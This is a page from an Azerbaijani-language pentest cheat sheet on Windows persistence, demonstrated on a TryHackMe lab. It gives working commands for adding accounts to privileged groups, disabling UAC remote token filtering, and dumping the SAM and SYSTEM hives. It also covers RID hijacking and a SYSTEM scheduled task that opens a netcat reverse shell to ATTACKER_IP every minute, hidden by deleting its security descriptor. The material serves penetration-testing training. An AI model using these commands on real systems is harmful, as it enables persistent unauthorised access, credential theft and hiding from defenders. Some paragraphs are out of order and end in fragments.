Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Qrup Üzvlüklərini Təyin Edilməsi
  • RID Hijacking
  • Planlaşdırılmış Tapşırıqlardan Sui-istifadə

Was this helpful?

  1. Post-Explotation
  2. Windows Post-Explotation

Windows Persistence

PreviousWindows Privilege EscalationNextNetwork Services Pentesting

Last updated 1 year ago

Was this helpful?

"Windows Davamlılığı"(Windows Persistence) zərərli aktorların və ya proqram təminatının Windows sisteminə giriş və nəzarəti saxlaması haqqındadır.Bu cheatsheet'də bunun həyata keçirilməsi üçün müxtəlif yolları göstərəcəm.

Qrup Üzvlüklərini Təyin Edilməsi

Hədəf maşınının parol heşlərini əldə etdikdən və istifadədə olan imtiyazsız hesablar üçün parolları uğurla sındırdıqdan sonra ona inzibati imtiyazlar qazandırmağın birbaşa yolu onu Administratorlar qrupuna daxil etməkdir. Bunun üçün aşağıdakı əmrdən istifadə edilə bilər:

net localgroup administrators <istifadəçi> /add

Bu prosesi praktiki nümayiş etdirmək üçün 'ından istifadə edəcəm:

1.Aşağıdakı əmr ilə Administratorlar qrupunun üzvlərinə baxaq

net localgroup Administrators

Gördüyünüz kimi yeganə istifadəçi Administratordur.

2.İndi yuxarı da qeyd etdiyim əmrdən istifadə edərək "thmuser0" istifadəçisini Administrators qrupuna əlavə edək:

Gördüyünüz kimi thmuser0 istifadəçisi artıq Administrators qrupunun üzvüdür.

Bundan başqa, istifadəçini Backup Operators qrupuna daxil etməyi yoxlaya bilərik. Bu qrupdakı istifadəçilərin inzibati imtiyazları olmasa da sistemdə istənilən faylı və ya qeyd açarını oxumağa/yazmağa icazələri olur. Bu, bizə SAM və SYSTEM qeyd dəftərinin məzmununu kopyalamağa və hər hansı bir inzibati hesaba keçməyə imkan verir.

net localgroup "Backup Operators" <istifadəçi-adı> /add

İmtiyazsız hesabı müxtəlif qruplara üzv edərək xüsusi icazələr əldə etsək də, RDP və ya WinRM istifadə edərək ona qoşulmaq üçün aşağıdakı qruplara əlavə etməliyik:

net localgroup "Remote Management Users" <istifadəçi-adı> /add
net localgroup "Remote Desktop Users" <istifadəçi-adı> /add

Artıq əldə edilmiş paroldan istifadə edərək uzaq maşından qoşulmaq mümkündür.Bunun üçün evil-winrm və ya xfreerdp alətlərindən istifadə edilə bilər. Evil-WinRM Windows mühitləri üçün nəzərdə tutulmuş nüfuz testi vasitəsidir. O, Windows maşınları ilə uzaqdan qarşılıqlı əlaqə yaratmaq və istismardan sonrakı tapşırıqları yerinə yetirmək üçün komanda xətti interfeysini təmin edir.Bundan fərqli olaraq xfreerdp, bizi GUI (Graphic User Interface) ilə təmin edir.

xfreerdp /u:<istifadəçi> /p:<parol> /v:<ip-ünvanı> 
evil-winrm -i <ip-ünvanı> -u <istifadəçi> -p <parol>

İstifadəçini Backups Operators qrupuna daxil etsək belə, evil-winrm və ya xfreerdp ilə istifadəçinin hesabına qoşulduqda gözlənildiyi kimi bütün fayllara daxil ola bilmirik. Bu, User Account Control(UAC) ilə bağlıdır. UAC tərəfindən həyata keçirilən xüsusiyyətlərdən biri olan LocalAccountTokenFilterPolicy, uzaqdan qoşulan istənilən local hesabı öz inzibati imtiyazlarından məhrum edir. Qrafik istifadəçi sessiyasında UAC vasitəsilə imtiyazlarınızı yüksəldə bilsəkdə, WinRM ilə qoşulduqda, inzibati imtiyazları olmayan giriş nişanı ilə məhdudlaşırılırıq. İstifadəçinin inzibati imtiyazlarını bərpa etmək üçün LocalAccountTokenFilterPolicy-ni deaktiv etməliyik:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Defolt (Dəyər = 0): Local hesablar yoxlanılır və uzaqdan daxil olmağa cəhd edərkən onların inzibati imtiyazları silinir. Bu, icazəsiz uzaqdan giriş riskini azaltmaq üçün təhlükəsizlik tədbiridir.

Dəyişdirilmiş (Dəyər = 1): Local hesablar hətta uzaqdan daxil olmaq üçün istifadə edildikdə belə öz inzibati imtiyazlarını saxlayır. Bu, UAC tərəfindən uzaq sessiyalar üçün tətbiq edilən filtrləmə mexanizmini effektiv şəkildə söndürür.

Artıq evil-winrm ilə istifadəçi hesabına qoşulub qrupları yoxladıqda, Backup Operators qrupu üçün imtiyazlarımızın aktiv olduğunu görürük:

whoami /groups

Artıq SAM və SYSTEM fayllarının ehtiyat nüsxəsini çıxara və öz maşınımıza yükləyə bilərik:

# system faylının ehtiyat nüsxəsini əldə edir
reg save hklm\system system.bak

# sam faylının ehtiyat nüsxəsini əldə edir
reg save hklm\sam sam.bak

# onları öz maşınımıza yükləmək üçün
download system.bak
download sam.bak

RID Hijacking

İnzibatçı olmadan inzibati imtiyazlar əldə etməyin başqa bir üsulu, əməliyyat sisteminin sizin Administrator olduğunuzu düşünməsi üçün bəzi reyestr dəyərlərinin dəyişdirilməsidir. İstifadəçi yaradıldıqda, ona Relative ID (RID) adlı identifikator təyin edilir. RID sadəcə olaraq sistem üzrə istifadəçini təmsil edən rəqəmli identifikatordur. İstifadəçi daxil olduqda, LSASS prosesi öz RID-ini SAM qeyd dəftəri yuvasından alır və həmin RID ilə əlaqəli giriş nişanı yaradır. Reyestr dəyərinə müdaxilə edə bilsək, eyni RID-i hər iki hesabla əlaqələndirərək Windows-un imtiyazsız istifadəçiyə Administrator giriş nişanı təyin etməsinə nail ola bilərik. İstənilən Windows sistemində standart Administrator hesabına RID = 500 təyin edilir və adi istifadəçilər adətən RID >= 1000-ə malikdirlər.

İstifadəçilərin RID dəyərlərini görmək üçün aşağıdakı əmrdən istifadə edə bilərsiniz:

wmic useraccount get name,sid
PsExec64.exe -i -s regedit

Bu əmr Sistem hesabı altında yüksək imtiyazlarla Reyestr Redaktorunu işə salır.

Buradan maşında hər bir istifadəçi üçün bir açar olan "HKLM\SAM\SAM\Domains\Account\Users\" qovluğuna gedirik.

İstifadəçinin effektiv RID-ini 0x30 mövqeyində saxlayan F'ə daxil oluruq və EC 03 dəyərini Administratorun dəyərinə (F4 01 )dəyişirəm:

Yusif adlı istifadəçi növbəti dəfə sistemə daxil olduqda, LSASS onu Administratorla eyni RID ilə əlaqələndirəcək və onlara eyni imtiyazlar verəcək.

Planlaşdırılmış Tapşırıqlardan Sui-istifadə

Tapşırıqları planlaşdırmağın ən sadə yolu daxili Windows tapşırıq planlaşdırıcısından istifadə etməkdir. Tapşırıq planlayıcısı tapşırığınızın nə vaxt başlayacağına nəzarət etməyə imkan verir ki, bu da sizə müəyyən saatlarda aktivləşəcək, vaxtaşırı təkrarlanacaq və ya hətta xüsusi sistem hadisələri baş verdikdə işə salınacaq tapşırıqları konfiqurasiya etməyə imkan verir. Komanda xəttindən tapşırıq planlayıcısı ilə qarşılıqlı əlaqə yaratmaq üçün "schtasks" əmrindən istifadə edilir.

schtasks /create /sc minute /mo 1 /tn <tapşırığın-adı> /tr "c:\tools\nc64 -e cmd.exe <hücum-edilən-maşının-ip-ünvanı> 4449" /ru SYSTEM

Bu əmr arxa backdoor əmri yerinə yetirən planlaşdırılmış tapşırıq yaradır.

  • /create: schtasks' dan istifadə edərək yeni tapşırıq yaratmaq üçün istifadə olunur.

  • /sc minute: Planlaşdırma vahidini minute(dəqiqə) kimi təyin edir.

  • /mo 1: Cədvəl üçün dəyişdirici təyin edir, hər 1 dəqiqədən bir.

  • /tn Backdoor: Tapşırığın adını göstərir "Backdoor."

  • /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449": İcra ediləcək əmri təyin edir. Bu nüumunədə, reverse shell yaratmaq üçün Netcat (nc64) alətindən istifadə edir. ATTACKER_IP-ni təcavüzkarın faktiki IP ünvanı ilə əvəz etməlisiniz. Bu əmr mahiyyətcə hədəf maşında shell açır və onu 4449-cu portdakı təcavüzkarın maşınına birləşdirir.

  • /ru SYSTEM: Tapşırığın SYSTEM hesabından istifadə edərək ən yüksək imtiyazlarla işləməli olduğunu göstərir. Tapşırığı yüksək imtiyazlarla yerinə yetirməyə imkan verir.

Əmrin uğurlu olub-olmadığını yoxlamaq üçün aşağıdakı əmrdən istifadə edə bilərsiniz:

schtasks /query /tn <tapşırığın-adı>

Tapşırığımız uğurla yaradıldı, lakin təhlükəyə məruz qalan istifadəçi planlaşdırılmış tapşırıqlarını sadalamağa çalışarsa,backdoor nəzərə çarpacaq.Bu tapşırığı gizlətmək üçün onun Təhlükəsizlik Deskriptorunu (SD) silməklə sistemdəki istənilən istifadəçi üçün görünməz edə bilərik. Təhlükəsizlik deskriptoru sadəcə olaraq hansı istifadəçilərin planlaşdırılan tapşırığa çıxışı olduğunu bildirən ACL-dir. Əgər istifadəçinizin planlaşdırılmış tapşırığı sorğulamağa icazəsi yoxdursa, Windows sizə yalnız istifadə etmək icazəniz olan tapşırıqları göstərdiyi üçün onu daha görə bilməyəcəksiniz. Bütün planlaşdırılan tapşırıqların təhlükəsizlik deskriptorları HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree-də saxlanılır. Siz yalnız SİSTEM imtiyazlarına sahibsinizsə, dəyəri silə bilərsiniz. Bunu etmək üçün, SYSTEM imtiyazları ilə Regedit-i açmaq üçün psexec istifadə edəcəm:

PsExec64.exe -s -i regedit

Tapşırığımı tapdım, indi isə onu görünməz etmək üçün SD'i silirəm:

İndi həmin faylı sorğulamaq üçün əmr yazıram:

schtasks /query /tn <tapşırığın-adı>

Sistem artıq həmin tapşırığı tapa bilmir. Tapşırığı uğurla gizlətdik! Artıq sistemdən reverse shell əldə edib, uzaqdakı cihaza giriş etmək mümkündür.

RID SID-nin son bitidir (Yusif üçün 1004 və Administrator üçün 500). SID, əməliyyat sisteminə bir domen üzrə istifadəçini müəyyən etməyə imkan verən identifikatordur. İndi biz Yusif adlı istifadəçi üçün RID=500 təyin etməliyik. Bunun üçün Regedit istifadə edərək SAM-a daxil olmaq lazımdır,lakin SAM yalnız SYSTEM hesabı ilə məhdudlaşır, ona görə də hətta Administrator hesabı ilə onu redaktə edə mümkün deyil. Bunu həyata keçirmək üçün psexec alətindən istifadə edə bilərik.PsExec, digər sistemlərdə prosesləri yerinə yetirməyə imkan verən bir alətdir. Yükləmək üçün istifadə edə bilərsiniz.

Yusif istifadəçisi tapmaq üçün onun RID dəyərinin hex formatından istifadə edəcəyik. istifadə edərək çevirə bilərsiniz:

bu keçiddən
Bu linkdən
bu TryHackMe lab